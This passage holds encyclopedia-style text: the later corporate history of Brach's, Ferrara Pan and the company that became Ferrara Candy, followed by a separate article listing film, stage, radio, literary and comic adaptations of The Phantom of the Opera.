By 1923, Brach had four factories operating at capacity. Brach then invested $5 million in a new factory, beginning construction in 1921. It was designed by Alfred S. Alschuler, built at 4656 West Kinzie Street, and consolidated production into one building. At the time, they were producing 127 different varieties of candy and had a capacity of 2,225,000 pounds per week. Over the years, this new plant was expanded and investments in new processes and equipment were made, including its own chocolate grinding plant and a large panning operation. In 1948, after an electrical spark ignited corn starch, a massive explosion on the plant's third floor killed 11 employees and injured 18. Much of the factory's north side was destroyed. Reconstruction brought the plant's capacity up to more than 4 million pounds of product per year, and it employed 2,400 workers, in . It was recognized as the largest candy manufacturing plant in the world at the time. At its peak, 4,500 employees worked there. The plant was eventually abandoned in 2003 when new owners took over operations (see below) and production was moved primarily to Mexico. An administrative building was blown up for a special effects scene in 2008's The Dark Knight Batman movie (filmed in August 2007), the rest of the complex was demolished in 2014 and currently remains vacant land.
Prior to World War II, Brach's produced several candy bars, including a chocolate-covered, honeycombed, peanut butter Swing Bar as well as a mint and almond nougat bar. After the war Brach's concentrated on bulk and bagged candies. It was in the period after the war that Halloween Trick or Treating became a popular activity. Brach's promoted its candy corn and other fall-themed candies, available in single-serve, pre-packaged packets.
In 1958 Brach's introduced the Pick-A-Mix concept. Customers could choose from a wide selection of products, scooping items of their choosing, and paying one price per pound. This was adapted from the barrels seen in general stores at the time. This concept brought the dying experience of buying candy at the local corner store into the new merchandisers, the supermarkets.
In 1966, American Home Products Corporation purchased the company. In 1986, the last year of ownership by American Home Products, it accounted for two-thirds of the U.S. market for bagged candy and 7% of the $9 billion U.S. candy market. It employed 3,700 and had an estimated pretax profit of more than $75 million on sales of $640 million.
In 1987 Jacobs Suchard Limited, a Swiss chocolate and coffee conglomerate, purchased the company for $730 million and by the end of 1989, it was in serious trouble. Losses that year were an estimated $50 million and sales had decreased to $470 million. By 1993, sales had dropped to $400 million though losses were reduced somewhat to $26 million. All this occurred during a period when overall per capita candy consumption in the U.S. had increased 25%. By May 1994, after seven years of Suchard ownership, Brach's had had nine different CEOs, moved its headquarters from the plant property to a penthouse office in one of Chicago's wealthiest suburbs, saw a loss of nearly 900 jobs (42% of the workforce at that time), and suffered a loss of key customers and market share.
Klaus Jacobs almost immediately fired Brach's top officers and gutted the leadership of its sales, marketing, production and finance departments. Some of these positions were filled with executives from Suchard's European operations; people with little experience in the candy industry (see: Favorite Brands above). Former executives cited Jacobs Suchard's autocratic management style and inability to recognize the difference between American and European candy consumption habits. The name of the company was changed to Jacobs Suchard Inc., a name few retailers or consumers recognized and product lines were trimmed from 1,700 to 400 in an attempt to cut costs. This alienated many of its largest customers, including Walgreens and Walmart, who found other sources, including Farley Candy. In addition to the cuts in product selection, Brach's also chose to curtail holiday promotional activities.
In 1990, Phillip Morris purchased Jacobs Suchard for $3.8 billion, except for its U.S. subsidiary, E. J. Brach Corp. A holding company named Van Houten & Zoon Holding AG was formed by Klaus Jacobs to run Brach and other businesses. Disagreements with Klaus Jacobs on marketing and management strategies continued, particularly over commodity vs. branded (Brach's) products. In 1993 alone, Brach's saw 3 different CEO's, and continued to experience a high rate of turnover and dismissals within the sales and marketing departments. Many of Brach's sales personnel left to work for its competitors.;
In September 1994, E.J. Brach's purchased the Brock Candy Company of Chattanooga for $140 million, a year in which Brock Candy had sales of $112 million and profits of $6.5 million. This was the second attempt by the two companies to join together. The first time had been while E.J. Brach's was under American Home Products ownership. The merger attempt at that time was canceled due to concerns of an antitrust suit.
For a time the new company operated as the Brach and Brock Candy Company. This was later changed to Brach's Confections.
In 2003, Barry Callebaut AG purchased the new company. The principal owner of Brach's, KJ Jacobs AG, was also a majority stakeholder in Barry Callebaut. As part of the deal, Barry Callebaut agreed to assume $16 million in debt, fund restructuring efforts for five years and paid a symbolic $1 (one dollar) for the company.
Brach's Confections acquisition
On September 17, 2007, Barry Callebaut AG announced its intention to sell Brach's Confections to Farley's & Sathers. The acquisition was completed on November 16, 2007, for an undisclosed amount. Barry Callebaut AG shares rose over 1 percent on the day the deal was announced, outperforming weaker markets that day. "We think the Brach's disposal is a very positive move, as it will greatly improve the group and consumer division margins", said Vontobel analyst Rene Weber. Weber also estimated that Barry Callebaut had not made a gain on the sale and estimated that Brach's was worth some 30 million francs on its books (approximately US$16 million). "The purchase price will be no higher than that, meaning no extraordinary gain for the company", Weber said. At the time, Brach's had been struggling with rising competition and a stalling candy market in the U.S. Their annual gross sales were approximately $270 million, with sugar candy making up around 75 percent of revenue and chocolate products accounting for around 25 percent.
The acquisition moved Farley's & Sathers into the top 25 international candy companies and brought with it Brach's existing fruit snack business, a return to chocolate products and other general-line candy products.
In 2008, the first year for the newly expanded company, sales were reported to be $590 million and 42 million pounds.
Ferrara Pan Candy
The company lasted until the third generation of the Ferrara family before being sold. The founder, the grandfather, Salvatore Ferrara, came from Nola, Italy to New York in 1899 at the age of 15. The Ferrara family had been bakers in Italy. In 1908 he opened a bakery at 772 W. Taylor, in the heart of Chicago's "Little Italy" neighborhood. He sold candy-coated almonds known as "confetti" (also known as Jordan almonds), a popular treat at Italian weddings. When candy sales became greater than pastries, Ferrara partnered with two brothers-in-law, Salvatore Buffardi and Anello Pagano. They built a two-story brick building at 2200 W. Taylor and began producing a variety of panned candies.
The second floor of the building was devoted to the revolving kettles that produced the pan candy, with all of the machines being driven by a giant wheel. The candy was dropped to the shipping department below through a hole in the floor.
Nello Ferrara, the second generation of the family in the business, served as a military attorney and was involved with the war crimes trials in Japan in 1946. It was his visit to that devastated country that inspired the creation of Atomic Fireballs in 1954. 15 million are consumed weekly.
The company moved to a former dairy in Forest Park in 1959 where it remains to this day.
Salvatore II, the third generation, provided the inspiration for the Lemonhead name when his grandfather, Salvatore Ferrara saw his baby grandson after delivery. Salvatore II was a forceps baby and he noted that his new grandson's head was lemon-shaped. Lemonhead candies were introduced in 1962. Ferrara now makes 500 million Lemonheads per year.
With the success of Lemonheads, the company expanded the fruit candy line with Cherry Chan, packaged in a box with a picture of an mustachioed, sinister-looking Asian. Alexander the Grape and Mister Melon soon followed. Bowing to some protest, and to create a common naming convention for the similar products, the names were changed: to Cherryheads, Grapeheads, and Melonheads, respectively.
In addition to the above products, Ferrara also produced Jawbreakers, Boston Baked Beans, Red Hots (cinnamon imperials), Long Fellers (panned licorice pieces), Gr-r-r-oats, and a minty chewing gum called Try-umph.
In addition to sales of their own products, Ferrara Pan also acted as a distributor for products such as Kraft Toblerone chocolates. When Kraft ended that relationship in 2008, Ferrara invested more than $20 million in 2009 to develop and distribute its own version of a product with very similar packaging and characteristics of the lost Toblerone line. This product is no longer available.
The son of Salvatore Ferrara II, the fourth generation, was seen as the successor of his father at the business. The son, named for his grandfather Nello, was a minor league hockey player, with a desk in the company's headquarters.
After a hundred years in business, the families controlling the company had grown in numbers, and splintered in what they wanted from the company. Dividends, capital appreciation, positions for themselves and family members, and/or power and prestige.
It was finding a way to satisfy these varying wants and needs that would consume the greatest amount of time and effort in making a deal to sell the company.
Ferrara Pan Candy acquisition
In May 2011 Salvatore Ferrara II was asked to leave a board meeting. Police were called and Mr. Ferrara left voluntarily. Mr. Ferrara then called the police himself when he noted that the board had apparently re-convened without him. In the summer of 2011, Mr. Ferrara broached the idea of a merger to Liam Killeen, then CEO of Farley's & Sathers.
In May 2012 the Ferrara Pan Candy brands were added to the existing Farley's & Sathers roster of brands. The acquisition was partially funded with a $425 million term loan due in June 2018. In addition, $330 million in additional equity was contributed by Catterton Partners and Ferrara Pan Candy. In addition to the term loan and equity contributions, a $125 million line of credit was opened, due in 2017.
In May 2013 Moody's downgraded the loan due to concerns that the highly leveraged company was experiencing lower than projected sales volumes, higher distribution costs, and delays in achieving the synergies needed.
Shortly after the acquisition it was announced that the former Sathers headquarters in Round Lake, Minnesota (population, less than 400), which had employed over 200 workers in 2010, would be closed and that the new headquarters would be located in Oakbrook Terrace, Illinois. Also slated for closing was one of two facilities located in Chattanooga, Tennessee, which traced its history back to Brock Candy. The Sathers Trucking business was also scheduled to cease operations.
In July 2012 a 10-year lease was signed for space on multiple floors (25th and 27th) of a 31-story office tower in Oakbrook Terrace (the tallest in the Western suburbs of Chicago).
In an interview with the new CEO, Salvatore Ferrara II, it was stated that at the time of acquisition, Ferrara Pan had $350 million in annual sales and that Farley's & Sathers had $650 million, for a combined total of $1 billion.
Per Moody's, pro-forma revenues for the twelve months ended December 31, 2012, were approximately $823 million.
In February 2014 Mr. Ferrara announced his resignation as CEO of the company, ending 106 years of family control of the business. The information was publicly released in the following month.
In May 2014 the company's debt was again downgraded by Moody's, due largely to the company's weak financial metrics, which included high leverage and a weakened liquidity profile. Operating performance in FY13 was well below Moody's expectations, who also noted that synergy savings are taking longer than expected to be realized. Relatively weak profit margins and negative free cash flow-to-debt also contributed to the downgrade.
In March 2015, the company added $40 million to its $425 million term loan, bringing the amount due in June 2018 to $465 million. Moody's rated this a Moderate Credit Negative, but did not change its overall rating of the debt. Net sales (unaudited) for the 12 months ended December 31, 2014, were reported to be $870 million.
Revenue for 2016 was reported to be $859 million.
In 2017, additional cuts in facilities and employees were announced, including the closing of the Trolli manufacturing plant in Creston, Iowa (which had been fined numerous times for OSHA violations and cited for failure to pay employees for overtime hours); the plant was the third largest employer in the small town. Also, additional job cuts at the distribution center in Bolingbrook, Illinois were announced.
Ferrara Candy, née Farley's & Sathers, today
Ferrara Candy is a candy manufacturing company headquartered in Oakbrook Terrace, Illinois. Ferrara Candy currently operates 4 manufacturing plants, 2 in the US and 2 in Mexico, as well as 2 distribution centers in the US, 1 in Illinois and 1 in Texas near the border with Mexico.
The company sells 92% of all mellowcremes in the US; it is the largest producer of candy canes; the largest seller of conversation hearts; produces virtually all of the jelly beans that are consumed in the United States. The company has 21 starch moguls, of 40 in the US as a whole. The company has between 700 and 800 pans operating at any given time. It is believed that no other US company has more than 150. It is claimed that the company produces a million pounds of gummy candy per week in 4 manufacturing plants — 2 in the US and 2 in Mexico. The company employs approximately 3,000 people.
Culled from the efforts and innovations of numerous individuals who built and grew their products, processes, and companies; at their combined peaks these production companies had once utilized more than 5,000,000 square feet (460,000 m2), and employed more than 10,000, workers. Today the company is a set of brand names and marketing programs.
Ferrero purchases Ferrara
Ferrero SpA, a privately held company headquartered in Luxembourg, best known for its Nutella, Fannie May, and Tic Tac brands in the US, purchased Ferrara at the end of October 2017. Purchase price was not disclosed but was believed to be $1.3 billion, including debt.
Timeline
1860s Henry Heide Candy Company begins business
1890s Farley Candy Company established
1900s Brach's Candies begins production in the backroom of a Chicago store. Brock's Candy of Chattanooga begins production of penny candies, peanut brittle and jelly candies.
1920s Bobs Candies is formed
1930s Sathers Candy Company begins operations
1960s Dae Julie begins business as an importer, later as a manufacturer
1980s Trolli Gummis begins production in the U.S.
1994 Brach's Candy purchases a controlling interest in Brock's Candy of Chattanooga
1995 Favorite Brands International created with purchase of Kraft Caramel, Marshmallow, Dinner Mints and Peanut Brittle businesses. Henry Heide, Inc is sold to Hershey Foods.
1996 Favorite Brands International acquires Farley Foods, Sathers Candy and Kidd Marshmallow businesses
1997 Favorite Brands International acquires Dae Julie and the Trolli Gummi businesses
1999 Nabisco buys Favorite Brands International
2000 Nabisco is merged with Kraft Foods by Phillip Morris
2002 L Catterton Partners form Farleys & Sathers Candy Company made up of assets from the former Farley Foods, Sathers Candy Company, and the Kraft Taffy business from Kraft; Chuckles and several other Henry Heide brands purchased from Hershey Foods.
2003 L Catterton Partners continues its acquisitions with the purchase of four old-line gum lines from Hershey Foods.
2005 L Catterton Partners buys the Trolli Gummi business, which had been part of the Favorite Brands group of products, from Wm. Wrigley Jr. Company, which had acquired it as part of a larger group of businesses from Kraft. Bob's Candies is acquired.
2007 L Catterton Partners buys the Brach & Brock Candy Company
2012 L Catterton Partners buys the Ferrara Pan Candy Company and renames the new entity Ferrara Candy
2017 L Catterton sells company to Ferrero SpA
References
External links
Heide History
Confectionery companies of the United States
American chocolate companies
Ferrara Candy Company brands
American companies established in 2002
Food and drink companies established in 2002
Food and drink companies disestablished in 2012
2002 establishments in Minnesota
2012 disestablishments in Minnesota
Defunct manufacturing companies based in Minnesota
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https://en.wikipedia.org/wiki/Adaptations%20of%20The%20Phantom%20of%20the%20Opera
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Adaptations of The Phantom of the Opera
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There have been many literary and dramatic works based on Gaston Leroux's 1910 novel The Phantom of the Opera, ranging from stage musicals to films to children's books. Some well known stage and screen adaptations of the novel are the 1925 film and the Andrew Lloyd Webber musical (see The Phantom of the Opera (1986 musical)); Susan Kay's 1990 Phantom is one of the best known novels and includes in-depth study of the title character's life and experiences.
Film
Das Gespenst im Opernhaus or Das Phantom der Oper (1916): Featuring the Swedish actor Nils Olaf Chrisander (1884–1947) and the Norwegian actress Aud Egede-Nissen (1893–1974, aka Aud Egede Richter). Now a lost film, it is only known to have existed because of references to it in other media.
The Phantom of the Opera (1925): Featuring Lon Chaney, Norman Kerry and Mary Philbin. For this classic silent film Universal Studios created a faithful replica of the Paris Opera House as a setting. The film was reissued in 1929 with sound effects, music and some reshot dialogue sequences (but none with Chaney). The scene in which Erik plays the organ and Christine creeps up behind him to snatch his mask off is often cited by critics and connoisseurs of film art as one of the most memorable moments in the history of all film. The makeup of Lon Chaney was so disfiguring that the camera operator lost focus while shooting the sequence, and theaters were urged to have smelling salts on hand in case ladies in the audience fainted in horror.
Spooks (1930): An Oswald the Lucky Rabbit cartoon.
Song at Midnight () (1937): Featuring Gu Menghe and Hu Ping, directed by Ma-Xu Weibang. This classic marks the first feature film talkie adaptation.
Phantom of the Opera (1943): Featuring Claude Rains as the Phantom and the singer Susanna Foster as Christine. This film reused the same Paris Opera studio set as the original silent film and once again features the spectacular scene in which the Phantom causes the chandelier to crash down on the heads of the audience. In this version, however, horror is mostly downplayed in favour of grand operatic spectacle. The Phantom's anger is sparked by his belief that the credit for his musical compositions is being stolen by the music publisher. The Phantom's facial disfigurement is caused by having had acid thrown in his face, rather than having been born disfigured, as in Leroux's original story. This accidental disfigurement became common, and copied in later film versions.
El Fantasma de la Opereta (1954): Featuring Gogó Andreu and Tono Andreu. Bears no similarity to the Leroux novel save the title.
El Fantasma de la Opereta (1959): Featuring German Valdés (Tin Tan) and Pedro de Aguillon.
Phantom of the Horse Opera (1961): A Woody Woodpecker cartoon.
The Phantom of the Opera (1962): Hammer Horror version featuring Herbert Lom and Heather Sears. This version has the Phantom playing the Toccata and Fugue in D Minor by Johann Sebastian Bach on the organ - which has become a cultural trope indicating tragic horror. The plot is very similar to the 1943 Claude Rains version, with the Phantom being prodded into activity because his own masterpiece, an opera about Joan of Arc, is being mounted in that opera house and credited to the opera's conductor.
The Mid-Nightmare, Part One (1962) and Part Two (1963) (-上集 Ye ban ge sheng - shang ji and 下集 xia ji): Remake of the 1937 Chinese film, this time featuring Zhao Lei and Betty Loh Ti.
Il Vampiro dell'Opera or The Monster of the Opera (1964): Featuring Giuseppe Addobbati.
Wicked, Wicked (1973): Writer/director Richard L. Bare's split-screen horror-comedy which recycles the plot and utilizes a score composed for the 1925 film.
Phantom of the Paradise (1974): Also called The Phantom of the Fillmore; a rock musical directed by Brian De Palma. The film is a parody of multiple films and pop culture references.
Song at Midnight (1985): Remake of the 1937 Chinese film of the same name.
The Phantom of the Opera (1988): Featuring Aiden Grennell: Animated film that is mostly faithful to the original story.
The Phantom of the Ritz (1988): Featuring Joshua Sussman.
The Phantom of the Opera (1989): Directed by Dwight H. Little, featuring Robert Englund and Jill Schoelen. This is a rather sadistic and gory version of the story, though in this respect it resembles the original novel more than some more romantic versions. There is a Faustian motif throughout and the film features extracts from Gounod's opera Faust - as in the original novel. In this version, the Phantom was a handsome young man who sold his soul to the Devil in return for being loved for his music - his disfigurement is the Devil's way of making sure he is loved for no other reason. An additional innovation is that, instead of putting on masks, the Phantom stitches his disguises with thread and needle into his skin.
Phantom of the Mall: Eric's Revenge (1989): Featuring Derek Rydall.
The Phantom of the Opera (1991): Featuring David Staller and Elizabeth Walsh.
O Fantasma da Ópera (1991): Featuring Geiso Amadeu.
The Chipmunks - Phantom Of The Rock Opera (1991)
The Phantom Lover (1995): A third remake of the 1937 film, by Hong Kong director Ronny Yu and featuring Leslie Cheung. Title in Chinese is the same as the other versions.
Il Fantasma dell'Opera (1998): Directed by Dario Argento, featuring Julian Sands and Asia Argento, in which Julian Sands is a good-looking man whose animus comes from being abandoned as a baby and raised by the numberless rats in the subterranean levels of the opera house; he also, somehow, has developed telephathic abilities. He kills off various people who, in his opinion, spoil the wonderfulness of the opera house.
Phantom of the Megaplex (2000): a Disney Channel Original Movie.
A version of the character appears in the film adaptation of The League of Extraordinary Gentlemen as a terrorist named The Fantom, who is not really the Opera ghost although he uses his motif (2003).
Joel Schumacher's The Phantom of the Opera (2004): Adaptation of the Andrew Lloyd Webber and Charles Hart musical, starring Gerard Butler, Patrick Wilson and Emmy Rossum.
Angel of Music (2009): A low-budget independent film directed by John Woosley. The film is a semi-sequel to the original Leroux novel, revolving around a reporter's search for The Phantom's rumoured long lost child.
Erik: Portrait of a Living Corpse (2010): a low-budget, student film adaptation
The Phantom of the Opera at the Royal Albert Hall (2011): Adaptation of the Andrew Lloyd Webber and Charles Hart musical, starring Ramin Karimloo, Hadley Fraser and Sierra Boggess.
A Monster in Paris (2011): French film very loosely based on Gaston Leroux's novel.
The Phantom of the Opera (2014): A low-budget independent film directed by and starring Anthony Mann.
On June 6, 2017, Alex Kurtzman announced a new Phantom of the Opera film as part of Universal's Dark Universe. However, after Kurtzman’s departure, the project is most likely not happening.
Television
El Fantasma de la Ópera (1954): Argentine miniseries featuring Raissa Bignardi.
El Fantasma de la Ópera (1960): Argentine miniseries featuring Narciso Ibáñez Menta. Widely remembered; part of a series "Masterworks of Terror".
The Phantom of What Opera? (1971): an episode from Rod Serling's Night Gallery.
The Phantom of Hollywood (1974): TV Movie featuring Jack Cassidy as an old-time movie star who had been disfigured by an accident and now haunts the backlot of a condemned Hollywood studio.
The Phantom of the Opera (1983): TV Movie featuring Maximilian Schell, Michael York, and Jane Seymour.
The Phantom of the Opera (1990): Featuring Charles Dance as the Phantom/Erik and Teri Polo as Christine.
"Pantin' at the Opera" (1995): an episode of the PBS TV series, Wishbone.
Song at Midnight (2005): Television adaptation of the 1937 Chinese film by Ma-Xu Weibang, which in turn is a loose adaptation of Leroux's novel.
Stage
Das Phantom der Oper (1949) with music by A. Gerber - and the text by P. Wilhelm.
The Phantom of the Opera (1975) by David Giles.
"El Fantasma de la Opera" ("The Phantom of the Opera", 1976) Mexican musical adapted by Raúl Astor from the Gaston Leroux's book with music and lyrics by Mexican composer Nacho Méndez. It was staged at Teatro de los Insurgentes in Mexico City where it ran for almost 400 performances and showcased for Mexican TV.
Phantom of the Opera (1976/1984): Musical by Ken Hill, with lyrics set to music by Gounod, Offenbach, Verdi, and others.
Phantom of the Opera: A New Victorian Thriller (1979) by Gene Traylor.
The Phantom of the Opera: Or the Passage of Christine (1986) with book by Kathleen Masterson and music by David Bishop. Commissioned by and premiered at Capital Repertory Theatre in Albany, NY April 19-May 18, 1986.
The Phantom of the Opera (1986): Musical composed by Andrew Lloyd Webber with lyrics by Charles Hart and Richard Stilgoe. This musical was adapted into a film in 2004 directed by Joel Schumacher. A 25th anniversary staging of the musical was also filmed. (See above).
The Phantom of the Opera (a.k.a. The American Phantom of the Opera: A Love Story) (1987) by Helen Grigal (book and lyrics) and Dr. Walter Anderson (music) Produced by the Oregon Ridge Dinner Theater in cooperation with the Baltimore Actor's Theater. Director/Choreographer: Helen Grigal.
The Pinchpenny Phantom of the Opera: An Affordable Musical Comedy (1988) by Dave Reiser and Jack Sharkey.
The Phantom of the Opera: The Play (1988–1989) by John Kenley and Robert Thomas Noll, music by David Gooding and Charles Gounod.
Phantom of the Opera (1990) with book by Bruce Falstein and music by Lawrence Rosen and Paul Shierhorn.
Phantom (1991) book by David H. Bell, music by Tom Sivak.
Phantom (1991): Musical by Maury Yeston (music and lyrics) and Arthur Kopit (text).
Phantom of the Op'ry: A Melodrama with Music (1991), book by Tom Kelly, music by Gerald V. Castle and lyrics by Michael C. Vigilant.
Phantom of the Soap Opera (1992), Book and lyrics by Craig Sodaro, music by Randy Villars, Eldridge Publishing Co.
"Phantom of the Music Room" (1992) by Janet Gardner: A children's musical play featuring a loosely adapted storyline with lyrics set to assorted classical and historical tunes.
The Phantom of the Opera (1992), book and lyrics by Joseph Robinette and music by Robert Chauls.
Phantom of the Opera (1992) with book by Michael Tilford and music and lyrics by Tom Alonso.
The Phantom of the Opera on Ice (1995) with narration and lyrics by Roberto Danova, Tony Mercer, Kathy Dooley and Stephen Lee Garden. Music composed and arranged by Roberto Danova.(A DVD was released in 2006 featuring the Russian Ice Stars, Roberto Danova, Mungo Jerry Johnny Logan, Susannah Glanville, Victor Michael and Sue Quin).
Phantom of the Opera: Original Family Musical (1998) with book by Rob Barron and music, lyrics and orchestrantion by David Spencer.
Phantom: Based on the Novel by Gaston Leroux (1998) A 2 Act Play with Musical Performances from Gounod's Faust & Romeo & Juliet. Written & Directed by Jack Danini.
Phantom of the NorShor (2005).
Phantom: The Las Vegas Spectacular reconceived by Andrew Lloyd Webber and Hal Prince at The Venetian, Las Vegas (2006).
The Phantom of the Opera ballet by the Atlantic Ballet Theatre of Canada (2006)
The Panto of the Opera by Stuart Ardern (2007) an English Pantomime treatment.
Gaston Leroux's Phantom of the Opera by Joseph Traynor (2007).
Love Never Dies (musical) (2009), sequel by Andrew Lloyd Webber.
The Angel of the Opera Phantom of the Opera-like musical, set in 1860, about a violinist, and an angel who appears in her dreams and teaches her to sing opera. (2009?)
Phantom of the Opera A New Musical, music by Michael Sgouros, with Playwright/Director Brenda Bell (opened April 30, 2010 at The Players Theatre in New York City)
Le Fantôme de l'Opéra (2023) ballet by Shanghai Ballet, with music by Carl Davis and choreography by Derek Deane. Although based Gaston Leroux’s 1911 novel, the ballet made major revisions to the plot, with Christine and Raoul belonging to the corps de ballet.
Radio
Phantom of the Opera (1943): The Lux Radio Broadcast of 1943, Original airdate - September 13, 1943. Based on the 1943 film Phantom of the Opera starring Claude Rains, featuring Basil Rathbone, Nelson Eddy, and Susanna Foster. Produced and hosted by Cecil B. DeMille.
The Phantom of the Opera (1975): CBS Radio Mystery Theater, Original airdate - April 28, 1975. Featuring Court Benson and Gordon Gould. Directed by Himan Brown.
The Phantom of the Opera (2001): Original airdate - June 5, 2001. Featuring Composer/Actress, Winifred Phillips and Producer/Story Adaptation/Host, Winnie Waldron. From the award-winning Radio Tales series, produced by Generations Productions LLC for National Public Radio and is rebroadcast via XM Satellite Radio.
The Phantom of the Opera (2007): Original airdate - November 30, 2007 to December 21, 2007 on BBC7. Featuring Anna Massey, Peter Guinness, Helen Goldwyn, Alexander Siddig and James D’Arcy. The four-part dramatization is the first to feature the original operatic sequences described in the novel, recorded and orchestrated by composer Tim Sutton. Written and directed by Barnaby Edwards for Big Finish Productions.
Literature
The Phantom of the Opera (1976) by David Bischoff
City Life (1978) by Donald Barthelme - Contains the short story The Phantom of the Opera's Friend
Phantom of the Opera (Monsters series) (1987) by Ian Thorne - Novelization of the 1943 movie with Claude Rains
Classic Tales of Horror (A Pull-the-Tab Pop-Up Book) (1988) by Terry Oakes (Illustrator)
Phantom of the Soap Opera (1988) by Judi Miller. Published by Dell Pub Co
The Phantom of the Opera: Pop-Up Book (1988) by Frank Van Der Meer, Arum Press
Phantoms (1989) by Martin and Rosalind Greenberg.
Night Magic (1989) by Charlotte Vale Allen - a romance novel retelling of the Phantom story in more modern times.
Phantom (1990) by Susan Kay - a retelling of the Phantom's life.
Night of the Phantom (1992) by Anne Stuart.
Genevieve Undead, Part One: Stage Blood (1993) by Jack Yeovil - A version of the story set in the world of Warhammer Fantasy.
The Canary Trainer (1993) by Nicholas Meyer - a Sherlock Holmes novel which re-interprets Leroux's plot.
Phantom of Chicago (1993) by Lori Herter. Published in Shadows '93 by Silhoutette.
Behind the Phantom's Mask (1993) by Roger Ebert.
The Angel of the Opera (1994) by Sam Siciliano - Sherlock Holmes and his cousin meet the Phantom.
Maskerade (1995) by Terry Pratchett - a Discworld novel that parodies the story.
Beauty and the Opera or the Phantom Beast a short story by Suzy McKee Charnas. Published in Asimov’s Science Fiction Magazine, March 1996. Reprinted in Modern Classics of Fantasy (1997) by St. Martin's Press (editor: Gardner Dozois), again in Music of the Night (2001) by Electricstory, and in Stagestruck Vampires and Other Phantasms (2004) this short story offers an alternate ending, with Christine staying with the Phantom for five years.
Musikens Ängel (1998) by Eva Gullberg. Published by Författarhuset.
The Phantom of Manhattan (1999) by Frederick Forsyth - a sequel to the Lloyd Webber musical (not to the original novel).
Le Journal Intime du Fantôme de l'Opera (2000) by Marion Dumond-Gros.
After Twilight (2001) by Amanda Ashley, Christine Feehan and Ronda Thompson.
Mystery at the Opera House (2002) by Brigitta D'Arcy
Angel of Music (2002) by D.M. Bernadette - a sequel to "all Phantom adaptations"
Journey of the Mask (2002) by Nancy Hill Pettengill - a sequel to Leroux's original novel
The Phantom of Paris (2003) by Gwenith M. Vehlow
Fantômes d'Opéra (2004) by Alain Germain.
Tales of the Shadowmen 1: The Modern Babylon (2005) edited by Jean-Marc Lofficier & Randy Lofficier. Published by Hollywood Comics
Angel of Music: Tales of the Phantom (2005) by Carrie Hernández
Tales of the Shadowmen 2: Gentlemen of the Night (2006) edited by Jean-Marc Lofficier & Randy Lofficier. Published by Black Coat Press
Unmasqued: An Erotic Novel of The Phantom of The Opera (2007) by Colette Gale
The Return of the Phantom (2007) by Etienne de Mendes. Book one of a series.
Life After Phantom: Opera Erotica (2008) by Samantha (pseudonym) - Sequel that takes place when the Phantom is driven from the Opera House; based loosely on characters created by Gaston Leroux.
"Madrigal: A novel of Gaston Leroux's The Phantom of the Opera" (2008) by Jennifer Linforth. Book one of a trilogy
Letters to Erik: The Ghost's Love Story (2008) by An Wallace
The Season of the Witch (2008) by Etienne de Mendes. Book two of a series.
"The Sultan's Favorite" (2009) by Anne Burnside. Published by iUniverse.
"Midnight Secrets" (2009) By Lisa Rose Olick
The Phantom of Valletta (2009) by Vicki Hopkins Continuation of Gaston Leroux's Phantom
The Tale of the Bloodline (2010) by Etienne de Mendes. Book three of a series.
The Disciples of the Night (2012) by Etienne de Mendes. Book four of a series.
The Phantom of the Palace (2012) by Jeff Martinez
Master of Illusion—Book One (2013) by Anne Rouen. Book one of a series. Winner of the 2014 Global Ebook Awards Silver Medal for Historical Literature Fiction (Modern).
Phantom Phantasia: Poetry for the Phantom of the Opera Phan (2014) Published by Batalha Publishers
Master of Illusion—Book Two (2014) by Anne Rouen. Book two of a series.
Of Metal and Wishes (2014) by Sarah Fine. Published by Margaret K. McElderry Books
For Love of the Phantom (2015) by Davyne DeSye. Book one of the Phantom Rising series. Sequel to Gaston Leroux's Phantom of the Opera. Published by Illuminus Publishing, LLC.
Skeletons in the Closet (2016) by Davyne DeSye. Book two of the Phantom Rising series. Published by Illuminus Publishing, LLC.
Black Paper Mask (2016) by Lauren Gattos. A feminist revision of Gaston Leroux's original novel.
Phantom: The Immortal (2016) by Mitzi Szereto and Ashley Lister is a contemporary erotic sequel that places the apparently immortal Phantom in present-day Paris, where he believes he has once again found his "Christine."
Phantom Rising (2020) by Davyne DeSye. Book three of the Phantom Rising series. Prequel to Gaston Leroux's Phantom of the Opera. Published by Illuminus Publishing, LLC.
Phantom Heart (2021) by Kelly Creagh
Angel's Mask (2023) by Jessica Mason. Book one in the Phantom Saga series, a gothic romance reinvention of Leroux's original.
Children's literature
The Phantom Cat of the Opera (2001) by David Wood. Published by Watson-Guptill Publications. Illustrated by Peters Day
The Phantom of the Post Office by Kate Klise for her 43 Old Cemetery Road series. Illustrated by M. Sarah Klise.
Phantoms Don't Drive Sports Cars (1998) ( The Adventures of the Bailey School Kids ) by Debbie Dadey and Marcia Thornton Jones. Published by Scholastic Paperbacks
Bantam of the Opera (1997) by Mary Jane Auch. Published by Holiday House
Phantom of the Auditorium (1995) by R. L. Stine, about a school being haunted by a boy who was supposed to play an Erik-type figure in a production of "The Phantom" but died on opening night.
Phantom of the Muppet Theater (1991) by Ellen Weiss, Manhar Chauhan (Illustrator)
The Peeping Duck Gang investigates the case of the Phantom of the Opera (1990) by Keith Brumpton.
Babar: The Phantom (1990) by Rh Value Publishing
The Phantom of the Opera (1989) by Peter F. Neumeyer. Published by Gibbs Smith. Illustrations by Don Weller.
The Phantom of the Opera by Kate McMullan. Published by Step-Up Classic Chillers. Illustrations by Paul Jennis.
The Phantom of the Opera by Jennifer Bassett. Published by Oxford Bookworm's Library.
In Bruce Coville's book "Monster of the Year", a tall masked Phantom-esque character appears briefly, suggesting that for good publicity, the others try for a show on Broadway. This suggestion is vetoed by the main character's mother, saying it takes years for such a thing to happen.
The Phantom of her dreams (1999) by Lela Duspara about a girl that is haunted by a musician that tries to teach her how to love, through a shared gift, music.
Frankenstein Makes a Sandwich (2010) by Adam Rex contains five pages listing the Phantom's frustration with catchy popular tunes: "The Phantom of the Opera can't get "It's a Small World" Out of His Head", "The Phantom of the Opera still can't get "It's a Small World" Out of His Head", "If the Phantom of the Opera can't get "Pop goes the weasel" out of his head, he's going to freak out " " Now the Phantom of the Opera can't get "The girl from Ipanema" out of his head" and "The Phantom of the Opera is considering giving up music and doing his haunting somewhere else"
RoseBlood (2017) by A.G. Howard, published by Amulet Books, is a modern set sequel/retelling with strong fantasy elements.
Muppets Meet The Classics: The Phantom of the Opera (2017) by Erik Forrest Jackson (also credited to Leroux) inserts Muppet characters into the original novel.
Comics
Le Fantôme de l'Opéra - Requiem Mask (2007) by Iron-Gibbet Studios.
The Trap-door Maker Three volumes. (2006) by Pete Bregman. Published by Treehouse - story revolves around Erik's time in Persia.
Le Fantôme de l'Opéra (2005), a one-shot manga by Harumo Sanazaki. Published in Comic BIRZ.
